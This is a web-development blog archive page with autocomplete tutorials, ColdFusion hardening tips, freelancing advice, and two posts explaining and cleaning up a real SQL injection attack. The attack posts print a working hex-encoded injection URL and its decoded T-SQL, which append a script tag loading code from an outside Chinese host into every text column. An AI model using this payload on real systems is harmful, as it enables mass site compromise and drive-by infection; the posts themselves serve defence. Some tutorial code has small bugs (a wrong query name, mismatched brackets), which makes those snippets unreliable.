In a previous post, I demonstrated how to implement Dylan Verheul’s jQuery Autocomplete plugin. Not content with demonstrating one library’s plugin, it is now the turn of MooTools.

MooTools is a compact, modular, Object-Oriented JavaScript framework designed for the intermediate to advanced JavaScript developer. It allows you to write powerful, flexible, and cross-browser code with its elegant, well documented, and coherent API.

In this post I will show you how to implement the AutoCompleter plugin by Harald Kirschner. Kirschner’s AutoCompleter plugin script for MooTools provides the functionality for text suggestion and completion. It features different data-sources (local, JSON or XML), a variety of user interactions, custom formatting, multiple selection, animations and much more.

The Goal

The goal of this post will be the same as the jQuery autocomplete post: Allow the user to type a few characters into a standard form text input field and to automatically provide suggestions from which the user can select.

Prerequisites

  1. The latest copy of MooTools
  2. A basic understanding of JavaScript and JSON
  3. A server-side script that can respond to the AJAX request, in our case ColdFusion

Demo

The demo below will show how to interact with a simple ColdFusion script, but I’ll also provide more (advanced) examples in the download.

How It Works

Once the user begins to type into the form text input field, the MooTools auto-complete is activated. After a set character length and time interval (both optional), a list of items is displayed below the input field. The user can select an item with either the arrow keys or mouse.

NB. Clicking back in the input field will repopulate the auto-complete list, if options are available, so that the user can change the selection. Deleting part of the chosen item will also trigger a new selection list.

The Code

There are three parts to this demo:

  1. The page’s HTML.
  2. The server-side code to produce the dynamic page (i.e. to load the autocomplete div when the user types something into the input field).
  3. The MooTools JavaScript.

HTML Form

<h1>Example: Country Lookup</h1>
<p>Using <abbr title="Asynchronous JavaScript and XML">AJAX</abbr> to interrogate the database.</p>
<p>Example data: Australia, Bulgaria, United Kingdom</p>
<form name="frmAutoCompleteCountry" id="frmAutoCompleteCountry" action="#" method="post">
<p>
<label for="country">Country</label>
<input type="text" name="country" id="country" />
</p>
</form>

ColdFusion

Below is a simple ColdFusion component that takes a string as an argument. This string is part or all of the country name. The query results are parsed as an array and returned from the function, as JSON, to the MooTools auto-complete function.

<cfcomponent output="false">
 
	<cffunction name="getCountry" access="remote" output="false" returntype="array" returnformat="json">
		<cfargument name="country" type="string" required="true" />
 
		<cfset var qryCountry = queryNew('country') />
		<cfset var arrCountry = arrayNew(1) />
 
		<cfquery name="qryCountry" datasource="test">
		SELECT countryName
		FROM country
		WHERE countryName LIKE <cfqueryparam value="%#ARGUMENTS.country#%" cfsqltype="cf_sql_varchar" />
		</cfquery>
 
		<cfloop query="qryData">
			<cfset arrCountry[currentRow] = qryCountry.countryName[currentRow] />
		</cfloop>
 
		<cfreturn arrCountry />
	</cffunction>
 
</cfcomponent>

JavaScript

The JavaScript will attach itself after the DOM is ready — this more or less relates to when the page has loaded in the browser. Each time the text input field, with the ID of country, is changed, the Autocompleter.Ajax.Json event is fired. This makes a call to the ColdFusion component, which returns a JSON object of matched items. This JSON object is interpreted by the plugin and rendered as an HTML un-ordered list.

<script type="text/javascript" src="mootools.js"></script>
<script type="text/javascript" src="Observer.js"></script>
<script type="text/javascript" src="Autocompleter.js"></script>
<link rel="stylesheet" href="Autocompleter.css" type="text/css" media="screen" />
<script type="text/javascript">
window.addEvent('domready', function() {
	new Autocompleter.Ajax.Json(
		'country',
		'data/Country.cfc?method=getCountry&returnformat=json&country=' + $('country').getProperty('value')
		, {
			'minLength': 1, // We wait for at least one character
			'overflow': true // Overflow for more entries'
	});
});
</script>

Where to Take it Next

Unobtrusive JavaScript

As with any page that is loaded with JavaScript and AJAX functionality, it should work without JavaScript.

To achieve this with the above tutorial, you will need to replace the MooTools autocomplete functionality with an ‘interim’ page that allows a user to select from a list of items, effectively turning the input field into a simple search interface. Of course, all other form field information would need to be retained between pages.

Download the Code

The example code can be downloaded from the demo page. Included are ColdFusion and PHP examples.

Every seasoned developer will know that protecting your website from a hacker is a top priority, whether for your own reputation or for maintaining your company’s reputation and log-term revenue prospects.

Why should you be worried about security?

The Web is changing many of the assumptions that people have historically made about computer security and publishing. As the Internet makes it possible for web servers to publish information to millions of users, it also makes it possible for computer hackers, crackers, criminals, vandals, and other “bad guys” to break into the very computers on which the web servers are running. Once subverted, web servers can be used by attackers as a launching point for conducting further attacks against users and organisations.

It is considerably more expensive and more time-consuming to recover from a security incident than to take preventative measures ahead of time.

This blog post started on the premise of protecting your website from a SQL Injection Attack. However, it is also appropriate to discuss, at a relatively high level, how to secure your server architecture and applications.

Server-Level Security

  • Separate web- and database-servers on to different physical machines.
  • Secure the web- and database-servers with traditional techniques. Only authorised accounts should have the capabilities to run tasks on the machine. That means not giving admin-rights to the user account.
  • Keep servers up-to-date with the latest patches and software releases.
  • Minimise the number of services running on the server. This means limiting the services to only those required for the web- or database-servers to function.
  • Secure information in transit between servers. This may mean physically securing the network to prevent evesdropping via encryption or obfuscating the data amongst innocuous ‘noise’.
  • Secure the database server behind a firewall.

Application-Level Security

  • Separate ColdFusion, the webserver and database server user accounts. They should never be under the same system account.
  • Create a database user specifically for your ColdFusion datasource and restrict it to only the activities required for the application. The user should not have database-owner rights, access to databases not relating to the application or access to the system tables.
  • Revoke privileges in the ColdFusion datasource definition to prevent the SQL commands CREATE, DROP, GRANT, REVOKE and ALTER.
  • General settings in the ColdFusion Administrator:
    • Check the Disable access to internal ColdFusion Java components option.
    • Check the Enable Global Script Protection option.
    • Add a Missing Template Handler.
    • Add a Site-wide Error Handler.
    • Reduce the Maximum size of post data from 100MB.
    • Enable Timeout Requests, and set to 60 seconds or less.
    • Disable Robust Exception Handling on production servers.

Code-Level Security

  • Application.cfc - Set the scriptProtect Application variable to true to enable application-wide cross-site script protection.
  • CFQueryParam - This tag, importantly, verifies the data type of a query parameter and, for RDBMSs that support bind variables, enables ColdFusion to use bind variables in the SQL statement. Bind variable usage enhances performance when executing a cfquery statement multiple times.
    <cfquery name="qry" datasource="#APPLICATION.dsn#">
    SELECT column1, column2, column3
    FROM tableName
    WHERE column4 = <cfqueryparam value="#variable1#" cfsqltype="cf_sql_bit" />
    AND column5 LIKE <cfqueryparam value="%#variable2#%" cfsqltype="cf_sql_varchar" maxlength="200" />
    AND column6 IN (<cfqueryparam value="#variable3#" cfsqltype="cf_sql_integer" list="true" />)
    </cfquery>

    There are limitations to the use of the cfqueryparam tag. In ColdFusion 7 for example, you cannot use them in queries using the cachedWithin attribute. Similarly, they cannot be used in ORDER BY clauses, although the use of conditional logic should resolve the need for order by variables.

  • Functions - As a rule of thumb, validate all the data being passed into a query prior to it being used. ColdFusion MX 7 saw the introduction of the isValid() function. This function tests whether a value meets a validation or data type rule and can be used to replace a large number of type-specific functions such as isArray(), isBinary(), isBoolean(), isDate(), isNumeric() and isSimpleValue() etc.
  • Stored Procedures - I often favour the use of stored procedures over standard queries. Not only do they add an additional level of performance, they provide an additional level of security; ColdFusion does not do any raw processing of queries in the web code, it simply passes variables down the wire to the database server.

Additional Resources

In my previous post, What is a SQL Injection Attack, I gave a brief overview of SQL injection and Cross-Site Scripting (XSS), primarily with regard to websites. In the example given, we saw that an attack could take the form of a ‘hacked’ URL which contained either a literal SQL statement, or a hexadecimal string that could be interpreted by an insecure SQL database server.

Which ever method is used to inject SQL and ultimately dangerous scripts into the database, we need to know how to deal with the problem and ‘roll it back’ to a safe state.

If you have an up-to-date backup of the database prior to the attack, then restoring the database is the best course of action. If this is not the case, apart from giving yourself a kick for not implementing a backup policy, it is possible to programatically remove the injected string or code using a set of relatively-simple SQL queries.

Programatically Replace Injected Code

Fortunately, by the very nature of an XSS attack, code is appended to the data already in the database — rather than replacing it — which means we simply need to remove the appended content.

Taking a real-world example, below is string that was injected into the database:

"></title><script src="http://1.verynx.cn/w.js"></script><!--

When rendered by a standard HTML page, the string is either displayed to the user agent, or the JavaScript file is called by the page, causing a security threat.

With the example above, we can use the following script to recurse through and create update scripts for every ‘infected’ table and column (of the type char, nchar, varchar and nvarchar), in the database.

SELECT 'UPDATE [' + table_name + '] 
SET ' + column_name + ' = REPLACE(CAST(' + column_name + ' as varchar(8000)), ''"></title><script src="http://1.verynx.cn/w.js"></script><!--'', '''') 
WHERE ' + column_name + ' LIKE ''%"></title><script src="http://1.verynx.cn/w.js"></script><!--%''' 
FROM information_schema.columns 
WHERE (character_maximum_length IS NOT NULL) 
AND ([table_name] NOT LIKE 'dt%') 
AND ([table_name] NOT LIKE 'sys%')

The resultset then produces update statements that look like the following (I have masked the actual table and column names):

UPDATE [tableName]   
SET columnName = REPLACE(CAST(columnName AS VARCHAR(8000)), '"></title><script src="http://1.verynx.cn/w.js"></script><!--', '')   
WHERE columnName LIKE '%"></title><script src="http://1.verynx.cn/w.js"></script><!--%'

These update statements can be copied into and run in a program such as Query Analyser for Microsoft SQL Server 2000, or SQL Server Management Studio for Microsoft SQL 2005.

If the actual code that was injected is different, simply change the above code to suit your needs.

You can download the SQL rollback script for your own needs.

Prevent a Successful Attack

As the popular idiom goes prevention is better than a cure, I will discuss in my next post how to mitigate against SQL Injection attacks — on ColdFusion-based websites — before they become a problem.

Over the past few weeks, subversive elements in the international arena have decided that attacking websites is a fun thing to do! The online world has become the new battle ground between nations vying to de-stabilise rivals. This may seem all very Jack Bauer, but we are increasingly seeing ‘SQL injection attacks’ eminating from countries such as Russia, China and North Korea. Of course, that doesn’t mean our countries aren’t doing the same in return, but we only see the results from foreign-based attacks.

What is a SQL Injection Attack?

SQL Injection is a technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is in fact an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another.

Real World Example

SQL Injection attacks are commonly associated with a technique called Cross-Site Scripting (XSS). XSS is a type of computer security vulnerability typically found in web applications which allow code injection by malicious web users into the web pages viewed by other users.

In reality, what does this look like?

The following is a legitimate URL that may be navigated to by the user agent:

http://www.domain.com/folderName/fileName.cfm?variable1=0&variable2=4241

The following is a hacked URL:

http://www.domain.com/folderName/filename.cfm?
variable1=0&variable2=4241;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C41524520405420766172636861722
8323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F522
0464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C7
56D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E787479706
53D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204
F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E5
44F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E2065786563282775706461746
5205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697
074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D272720776
865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D226874747
03A2F2F312E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E455854204
6524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736
F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);

The code appended to the URL is hexadecimal. This can be interpreted by the SQL engine. When the hexadecimal string is decoded by the SQL server, the SQL code generated looks similar to the following:

DECLARE @T VARCHAR(255),@C VARCHAR(4000) 
DECLARE Table_Cursor CURSOR 
FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b 
WHERE a.id=b.id 
AND a.xtype='u' 
AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) 
OPEN Table_Cursor 
FETCH NEXT FROM  Table_Cursor 
INTO @T,@C 
WHILE(@@FETCH_STATUS=0) 
BEGIN EXEC('update ['+@T+'] set ['+@C+']=['+@C+']+''"></title>
<script src="http://1.verynx.cn/w.js"></script><!--'' 
where '+@C+' not like ''%"></title>
<script src="http://1.verynx.cn/w.js"></script><!--''')
FETCH NEXT FROM  Table_Cursor INTO @T,@C 
END 
CLOSE Table_Cursor 
DEALLOCATE Table_Cursor

Somewhat unhelpfully, if the user credentials used to access the database have access to the system tables of your database, the SQL injection attack will be able to interrogate those system tables and determine the structure of your database. The result, of the above example, is that the following code is injected into every string-based column in every table.

</title><script src="http://1.verynx.cn/w.js"></script><!--

To put it simply, this is very bad news!

ColdFusion-hacking is Popularised

ColdFusion-based sites are by no means immune to this international ‘information war’. The popularity of attacks on ColdFusion-based websites can be summarised by the fact that an article was featured on The Hacker Webzine recently, detailing how to implement a successful attack.

How to ‘Fix’ the Problem

As ColdFusion developers we not only need to be aware of the problem, we need to also know how to fix the problem and mitigate against an attack before it even happens.

In my next post, I will discuss how to fix a SQL injection attack.

Advertising and finding work as a freelancer has the potential to be extremely painful and difficult. However, having made the decision to go freelance, it is likely you are actually good at what you do, which gives you a great headstart.

In the last two parts of this series, I discussed publicising yourself and networking, both of which are great ways to advertise your wares. There are, however, more traditional routes to advertising and finding work.

Advertise Your Business

Once you’ve built up a portfolio of work and contacts, it’ll become increasingly easier to advertise yourself. But intially, finding work is a case of advertising yourself. This can be achieved in a number of ways.

You can create adverts on search engines such as Google via their Adwords service, or on Yahoo! Small Business via their equivalent search marketing service.

You could also go down the slightly more traditional route and add free or paid listings to online business directories such as Yell.com and Thomson Local.

I see little value in using the paper-based business directories, since you’re likely to be operating in the digital arena, however, niche publications or magazines may be a credible option to consider.

Find Work

You’ve got the skill and experience, you’ve built an online brand and you have advertised yourself. But still you need to find paid-for work.

Essentially there are two ways to do this, via your network or via the bane-of-everyones-life, agencies. Always prefer your network over agencies; you won’t be locked into rigid contracts and you could potentially earn more money for yourself as there won’t be a cut for the agent.

Of course, if you go through an agency, you don’t necessarily need to set up a company or do any of the complicated accounting and they have a ready-built network of contacts.

I tend to mix-and-match based upon demand. There is also the point that the agency can introduce you to a client and after a period of time has lapsed, you can go to that client directly, assuming you have maintained a good relationship.

You could also do your own research into companies carrying out work in your field and cold-call or email them. If they don’t have work available immediately, you have alerted them to your presence. They are also more likely to contact you directly at a later date, as this will save them money, rather than sourcing contractors through an agency.

There is a final area of consideration; joining networks and services such as the Lemon Foundation and 99Designs. These services effectively connect designers and developers to clients needing work to be carried out. This work could be anything from logo designs and business cards to branding and websites.

Lemon Foundation is more like an umbrella company that bids for and farms out work; they do all the client facing work — winning bids, project plans and scoping etc — whilst you do the ‘actual’ work. 99Designs on the other hand is a marketplace where you have to compete on price and reputation. It is in effect an eBay or Amazon of the designer-developer world and is brought to you buy the guys who created SitePoint (a great web development resource).

Final Thoughts

Someone cheesy wrote…

Twenty first century people aren’t afraid of challenges, of stepping outside their comfort zones, of swapping lives. No more forty years with the same organisation, here’s my gold watch to prove my loyalty - it’s all about building up a portfolio of skills, identifying strengths, capitalising on opportunities and transferring the package to the next best place. Sometimes that place is you.

In the first two parts of this series, I talked about setting up in business as a freelancer and publicising yourself via branding and blogging.

Creating a brand and blogging are two important steps to getting yourself known, but are of little use if you do not actively build relationships through networking.

A good friend of mine, Rob, has some great advice: Get to the pub. When a project comes up and someone wants a Flex developer, you want to be front-of-mind.

Of course networking is more than simply going to the pub, it’s talking to friends and colleagues online, it’s attending conferences and groups. In essence it’s about ‘getting out there’.

Build Online Relationships

Many of my contacts are not from the London area, but include locations such as Brighton, Edinburgh and Birmingham. Added to this, I have international contacts in countries such as Australia, Belgium, New Zealand and the United States.

Clearly it isn’t easy to call up these people and say ‘do you want to go to the pub’. Therefore, building online relationships is a must. There are a whole host of services that essentially let people understand me as a person, not just a work colleague.

I use, to varying degrees, services such as FriendFeed, SocialThing, BrightKite, Jaiku, Meebo, Bebo, MySpace, LinkedIn, Facebook, LibraryThing, Cork’d and Dopplr. Indeed, you can find links to my most-used services in the footer of my site.

Take a look at the links in the footer and get to know me. You may notice that all the services are registered under my brand name. Again, this allows people to draw association with the profile they are looking at and me. It also means that if you want to follow me on one or many services, it won’t be hard to find me.

Attend Local Meetings and User Groups

Attending local ‘geek’ meets is a great way to meet like-minded people, exchange thoughts and quite possibly find work. These meetings can be found on the Yahoo! service Upcoming.org and on Meetup.com.

On the odd occassion, I may be found at meetings such as the Web Standards Meetup, the ColdFusion User Group, London Geeks, the London Flash Platform User Group, the Flex London User Group etc. (I do have a life outside my work, honestly!)

Attend Conferences Related to Your Industry

Conferences are really an extension of local user groups and meetings, but they allow you to network with a wider, often international, audience. It is quite possible to spend a few days a month attending conferences, so chosing ones relevant to you are key.

In the past I have attended, Adobe MAX, Scotch-on-the-Rocks and CFDevCon, but there are a tranche of other conferences that could be equally relevant such as CFUnited Europe, 360Flex and Flash on the Beach.

Conferences provide a varying degree of networking and job opportunities, but if anything they provide a great sneak-peek into what other people are working on and in what direction the industry is heading.

What’s Next

In the final part of this series I will introduce methods by which you can advertise your business.

In the first part of this series I talked about setting yourself up in business. The next step is to publicise yourself and your skills. At this point, it is helpful to know exactly what line of work you want to be focusing on, since you will need to target your efforts.

In the dim and distant past, the job of publicising yourself was extremely difficult. Can you imagine life without the Internet, mobile telephones and email? How did people ever do business? With the advent of the World Wide Web and in particular search engines and blogging, this all changed and a wealth of opportunity has become available, especially to the freelancer.

But where do you start?

Create a Brand

Creating a brand is a great way to market yourself. This does not have to be the same as your company, and through time you may set up different brands for different sectors or ideas you may have. Brands serve to create associations and therefore, expectations of products you create, so a good brand name is a great way to get recognised in your community.

You can register the brand in the UK, Europe and the US, although the latter requires a US address. It is also not a given that your brand registration will be successful, making it a costly exercise. Careful consideration is what is needed here.

Create an Avatar

Avatars are images or icons that represent you in the online world. They are an extension of your brand. For example, the header of my website is also my favicon and avatar on various online services. It is a great way for people to draw an association between your online presence and you.

Create a Blog

Blogs are a great way to get yourself known and therefore heard amongst your peer group. Your blog should really be an extension of your brand and is a great avenue to showcase your skills, demo example applications, code and designs, or simply give your opinion on a subject.

I use the excellent WordPress blogging application, in a self-hosted environment. You don’t need to do this since there is a hosted version at WordPress.com, or you could use Blogger, another popular blogging platform, provided by Google.

The key to blogging is talk about what you enjoy, don’t just keep it technical. Blogs should be an extension of you, not an avenue for pretentious comment; you’ll soon be found out!

If you go the self-hosted route, you’ll need a domain name, hosting provider and obviously a blog application. I have listed a few below that can get you started.

Domain Names:

Hosting Providers:

Blog Applications:

If going the self-hosted is all too complicated for you or you simply don’t want the hassle that is associated with self-hosting, all is not lost. WordPress.com and Blogger are for you.

Blog Hosting Providers:

Both services take the onus away from the user when it comes to management (backups, plugins etc). At the simplest level, all you need to do is create and publish the content.

Join feed aggregators

To get noticed in the blogosphere, you can’t simply rely on the Google, Yahoo! and Microsoft search engines ranking your site. You will need to alert your peers to the fact that you’ve created some content that is worth reading. You can achieve this with feed aggregators.

Below I list a few that I use:

If you use WordPress, then you’re in luck. WordPress has a service called Ping-o-matic, which updates different search engines when your blog has been updated. You can also add your own services to ping and therefore notify the service of new content.

Comment on Blogs

Commenting on blogs is another great way of getting yourself known as well as offering an opinion. Since comments allow you to include a link back to your website, try and comment as your brand.

One tip, try not to be defamatory towards the blog owner, or others unless you have a strong justification for doing so. It’s all about the karma!

Join Micro-Blogging Services

If blogging is not your thing or you don’t have time to write articles, there are a number of blogging and, more importantly, micro-blogging services available to you that allow you to get your thoughts out into the wide-world.

Such services include the not-always-venerable Twitter, the feature rich Pownce, the new kid on the block Plurk and the blogging service, Tumblr.

Building a following will allow you to announce to your followers important events and ask questions of them.

What’s Next

In the next part of this series, I’ll talk about networking, a natural extension to publicising yourself on the web.

You’re an experienced designer or developer with aspirations to become a freelancer. Shrugging off the corporate cloak —”It’s cosy! It fits well! You’ve had it for years!” — is becoming more and more common.

Most creative people are unable to make a living from the sale of their work alone and therefore becoming self-employed as a freelancer enables you to manage your finances more effectively by earning additional money from short- or medium-term opportunities.

Graphic design, illustration, photography, journalism, writing, web design and development, training and copywriting are some of the sectors that use freelancers on a regular basis. Infact, many freelancers I know don’t simply work in one area. For example, my working month is a mixture of web development, writing and training and this is not uncommon among my peers as well.

There are numerous other considerations. Freelancers can, when the market is buoyant, choose their contract location and duration. They can also decide the length of their holidays (although this isn’t always the case). This greater freedom brings a major responsibility; you have to find work. This can be easy when many projects are underway, but can be difficult at other times. Furthermore, you will have to manage your own finances, which may perhaps involve dealing with an accountant, filling in payroll, tax and VAT forms etcetera.

In this four-part series, I share some thoughts on what you may want to consider when setting up and ‘going it alone’. The detail is UK-centric, but much of what I say is transferable to other regions.

The first in the series is setting up a business.

Register a Company

To be a serious freelancer, you can’t simply do work ‘cash-in-hand’. Instead you will need to set up a company through which you will work. This is not a complicated task and there are a number of companies out there who will do all the hard work for you, albeit for a small fee.

You can check Companies House for the availability of your company name and submit the company formation directly through them if you wish.

Get an Accountant

If you’re like me and can’t be bothered (or indeed don’t have the time) to sit down every month to compile accounts, process payroll and submit VAT returns, it is a good idea to get yourself a trustworthy accountant who specialises in freelancing matters. Ask friends for recommendations, since it can be daunting task finding someone who will work for you.

The Inland Revenue in the UK and the Internal Revenue Service in the US will always want their money and on time, so it is important that you manage submissions correctly.

Join the PCG

The Professional Contractors Group (PCG) is an organisation set up to support contractors and freelancers. For a small fee per year, you can gain access to a huge knowledge base of articles on your chosen topic and they also provide support if the Inland Revenue come calling.

Get Insurance

Many companies oblige their freelancers to get Professional Indemnity (PI) insurance, which may, in some instances, also include equipment, Public Liability and Employer’s Liability insurance.

You can get away without having this insurance, especially if the company you work for has a dedicated QA team, which will soon catch any shoddy work before it is released live. However, it is always best to cover your back.

If you’re a member of the PCG, they can offer advice and discounts on PI insurance. This is quite good since the insurance can be relatively pricey!

What’s Next

The next post in the series will focus on publicising you and your company. This involves creating a brand, blogging and using 3rd-party services.

Creating an autocomplete form field historically has not been a trivial matter and would require an indepth knowledge of JavaScript and CSS. However, the task is made far more simple when using one of the many freely-available JavaScript libraries. In this post I will show you how to implement the jQuery Autocomplete created by Dylan Verheul.

The Goal

Allow the user to type a few characters into a standard form text input field and to automatically provide suggestions from which the user can select.

Prerequisites

  1. The latest copy of jQuery
  2. A basic understanding of JavaScript
  3. A server-side script that can respond to the AJAX request, in our case ColdFusion

Demo

The demo will specifically look at a simple form text input field, which takes a country name.

See the demo, and others, in action

How It Works

Once the user begins to type into the form text input field, the jQuery autocomplete is activated. After a set time interval, a list of items is displayed below the input field. The user can select these with either the arrow keys or mouse.

The Code

There are three parts to this demo:

  1. The page’s HTML.
  2. The server-side code to produce the dynamic page (i.e. to load the autocomplete div when the user types something into the input field).
  3. The jQuery & JavaScript.

HTML Form

<h3>Example 1.: Country Lookup</h3>
<p>Using <abbr title="Asynchronous JavaScript and XML">AJAX</abbr> to interrogate the database.</p>
<p>Example data: Australia, Bulgaria, United Kingdom</p>
<form name="frmAutoCompleteCountry" id="frmAutoCompleteCountry" action="#" method="post">
<p>
<label for="country">Country</label>
<input type="text" name="country" id="country" />
</p>
</form>
<p>NB. If you have <a href="http://getfirebug.com/" title="Get Firebug">Firebug</a> installed you will be able to view the <abbr title="Asynchronous JavaScript and XML">AJAX</abbr> call.</p>

ColdFusion

This is a simple example, using a database to return a list of country names that match the characters the user has input. You could expand this and return a JSON data structure.

<cfsetting enablecfoutputonly="true">
<cfquery name="qryGetCountry" datasource="myDatasource">
SELECT countryName
FROM Country
WHERE countryName LIKE <cfqueryparam value="#URL.q#%" cfsqltype="cf_sql_varchar" />
</cfquery>
<cfoutput query="qryGetCountry">
#qryGetCountry.countryName##chr(10)#
</cfoutput>

JavaScript

The JavaScript will attach itself after the document is ready, i.e. after the page has loaded. Each time the text input field, with the ID of country, is changed, the autocomplete event is fired. This makes a call to the ColdFusion page, which returns a list of matched items.

<script type="text/javascript" src="jquery-1.2.6.min.js"></script>
<script type="text/javascript" src="jquery.autocomplete.js"></script>
<link type="text/css" href="autocomplete.css" rel="stylesheet" media="screen" />
<script type="text/javascript">
$(document).ready(function() {
	$("#country").autocomplete(
		"country.cfm",
		{
			minChars:2,
			delay:200,
			autoFill:false,
			matchSubset:false,
			matchContains:1,
			cacheLength:10,
			selectOnly:1
		}
	);
);
</script>

Where To Take It Next

JSON

The above example only shows a simple text list, separated by carriage returns. It is more preferable to use JSON.

Unobtrusive JavaScript

As with any page that is loaded with JavaScript and AJAX functionality, it should work without JavaScript.

To achieve this with the above tutorial, you will need to replace the jQuery autocomplete functionality with an ‘interim’ page that allows a user to select from a list of items, effectively turning the input field into a simple search interface. Of course, all other form field information would need to be retained between pages.

Download The Code

The example code can be downloaded from the demo page. Included are ColdFusion and PHP examples.

For many web developers, whenever JavaScript is mentioned it provokes a rye smile; JavaScript is one of those programming languages that is rather avoided than embraced. This is not the fault of the language itself, but rather the browsers. A few years ago, the landscape of client-side scripting was a bleak scene. Browser inconsistencies, particularly with the dominant Internet Explorer, implementation bugs and numerous target platforms made developing client-side JavaScript a tricky undertaking.

To the consternation of these same developers, the landscape changed and Web 2.0 hit the mainstream. Almost overnight, every website on the internet wanted to use or was using AJAX. Marketers joined the bandwaggon and every feature requested had to involve something dynamic and revolutionary. Thus JavaScript development quickly hit the forefront of peoples minds and became as important as any server-side technology available at the time.

Over the next few blog posts, I will be using the popular frameworks jQuery, Yahoo! User Interface Library (YUI), ExtJS and Adobe’s Spry with ColdFusion to demonstrate various techniques, such as autocomplete and form validation.

« Older entries